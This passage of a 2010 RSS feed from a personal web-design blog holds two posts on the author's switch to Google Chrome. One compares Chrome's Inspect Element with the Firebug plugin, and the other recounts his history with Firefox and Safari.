		<comments>http://clicknathan.com/2010/06/25/using-google-chrome-a-web-designer%e2%80%99s-experience-part-2-inspect-element/#comments</comments>
		<pubDate>Fri, 25 Jun 2010 13:12:37 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[css]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[Inspect Element]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2299</guid>
		<description><![CDATA[<p>Firebug is like a baby made of candy. If you don&#8217;t get that analogy, no one will blame you but best not to bring it up around the hitching post, water cooler or back of the garbage truck, wherever you take your particular daily break. Suffice to say, this little plugin developed for Firefox is like having a twin brother who will go to school for you, do all of your homework, sit in the waiting room until the doctor is ready to see you and let you take his girlfriend home after he did all of the wining and dining.</p>
<p><a href="http://clicknathan.com/2010/06/25/using-google-chrome-a-web-designer%e2%80%99s-experience-part-2-inspect-element/" class="more-link">Read more on Using Google Chrome, a Web Designer’s Experience, Part 2: Inspect Element&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2299&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Firebug is like a baby made of candy. If you don&#8217;t get that analogy, no one will blame you but best not to bring it up around the hitching post, water cooler or back of the garbage truck, wherever you take your particular daily break. Suffice to say, this little plugin developed for Firefox is like having a twin brother who will go to school for you, do all of your homework, sit in the waiting room until the doctor is ready to see you and let you take his girlfriend home after he did all of the wining and dining.</p>
<p>The process for building websites in the past went a little something like this:</p>
<ol>
<li>Write some code in your favorite editor (I like Coda for Mac, FYI).</li>
<li>FTP that to your website.</li>
<li>Open up the site in your browser, wait for it to load. Wow, it&#8217;s all messed up.</li>
<li>Edit the code back in your favorite editor (I like Coda, did I mention that?)</li>
<li>Repeat steps 2 through 3, over and over again until Comcast calls you and says you&#8217;re using too much bandwidth and you find out you&#8217;re 93 years old for all the time spent waiting.</li>
</ol>
<p>With Firebug, you just right click on an element and can edit the CSS values right there. Figure it all out, go back and make the changes in your editor, and you&#8217;re done.</p>
<p><img class="aligncenter size-large wp-image-2302" title="Firebug Element Inspector" src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-12-570x165.png" alt="The Firebug Element Inspector for Firefox" width="570" height="165" /></p>
<p><img src="http://clicknathan.com/wp-content/uploads/2010/06/Picture-3-300x260.png" alt="Google Chrome Element inspector" title="Google Chrome Element inspector" width="300" height="260" class="alignright size-medium wp-image-2303" />Chrome comes with a built in feature similar to this, and it&#8217;s a lot like Safari&#8217;s Element Inspector. Both of those browsers differ from the Firebug plugin in one major way: they&#8217;re not as easy to use. Firebug opens up in a pane at the bottom of the browser window. Chrome&#8217;s Inspector opens in a new window of its very own, requiring crafty keyboard shortcuts or mouse clicking to go back and forth between browser and inspector. Weak.</p>
<p>That&#8217;s my only major complaint there, but it&#8217;s one of those little things that itches your knuckles just enough to keep you from wanting to use Chrome full time.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2299&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/06/25/using-google-chrome-a-web-designer%e2%80%99s-experience-part-2-inspect-element/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Using Google Chrome, a Web Designer’s Experience, Part 1: The History of My Web Browser</title>
		<link>http://clicknathan.com/2010/06/23/using-google-chrome-a-web-designer%e2%80%99s-experience-part-1-the-history-of-my-web-browser/</link>
		<comments>http://clicknathan.com/2010/06/23/using-google-chrome-a-web-designer%e2%80%99s-experience-part-1-the-history-of-my-web-browser/#comments</comments>
		<pubDate>Wed, 23 Jun 2010 13:45:31 +0000</pubDate>
		<dc:creator>nathan</dc:creator>
				<category><![CDATA[how-tos & web design (ing)]]></category>
		<category><![CDATA[browsers]]></category>
		<category><![CDATA[Google Chrome]]></category>
		<category><![CDATA[web design]]></category>

		<guid isPermaLink="false">http://clicknathan.com/?p=2291</guid>
		<description><![CDATA[<p>I jumped on the Firefox train as quickly as any other up and coming computer nerd Web Designer hopeful way back in the turn of November, 2004. How wonderful were those days? Blogging was cool, Google didn&#8217;t have a sidebar and when I went to the bar with my friends, no one sat on their phone showing me how great the latest app that tracked everything you do everywhere you go was the whole time.</p>
<p><a href="http://clicknathan.com/2010/06/23/using-google-chrome-a-web-designer%e2%80%99s-experience-part-1-the-history-of-my-web-browser/" class="more-link">Read more on Using Google Chrome, a Web Designer’s Experience, Part 1: The History of My Web Browser&#8230;</a></p>
<img src="http://clicknathan.com/?ak_action=api_record_view&#038;id=2291&#038;type=feed" alt="" />]]></description>
			<content:encoded><![CDATA[<p>I jumped on the Firefox train as quickly as any other up and coming computer nerd Web Designer hopeful way back in the turn of November, 2004. How wonderful were those days? Blogging was cool, Google didn&#8217;t have a sidebar and when I went to the bar with my friends, no one sat on their phone showing me how great the latest app that tracked everything you do everywhere you go was the whole time.</p>
<p>Like everyone else, I had 157 plugins that did nothing particularly relevant and eventually found my particular version of that browser bringing up web pages as slowly as Firefox was quick to crash. I dumped all of the plugins and started focusing in on what the Internet was really for: me to build websites for other people to use it. I started realizing that the world was big and green and wonderful outside, something that I thought faded out with my teenage years. Firefox came out with update after update and still I found the browser crashing, hogging memory, and generally becoming the pain in the processor for which I&#8217;d switched from IE in the first place. In 2006, the Pittsburgh Steelers won their 5th Super Bowl championship, yet it was completely eclipsed by the news that I&#8217;d finally bought my first Mac and <a href="http://clicknathan.com/2008/02/11/firefox-vs-safari/">tried Safari</a> a few months later. For various reasons, primarily Safari&#8217;s lack of customization (and when you do customize it, will Apple kill all of those customizations with the next release?), I <a href="http://clicknathan.com/2008/08/27/why-i-switched-back-to-firefox/">switched back to Firefox</a>.</p>
<p>So for the rest of the first decade of the turn of the century that officially marked the future known as the 2000s, I was back in FF, watching my browser slow down my computer more than Photoshop at a slow foods conference. And then Google Chrome was released for Mac and that gave me the potential to change everything.</p>
<p>I&#8217;ve been using Chrome intermittently over the past month, more heavily over the past two weeks, and right here on this very website I&#8217;ll be exploring the potential of the browser as it applies to building websites.</p>
<img src="http://clicknathan.com/?ak_action=api_record_view&id=2291&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://clicknathan.com/2010/06/23/using-google-chrome-a-web-designer%e2%80%99s-experience-part-1-the-history-of-my-web-browser/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
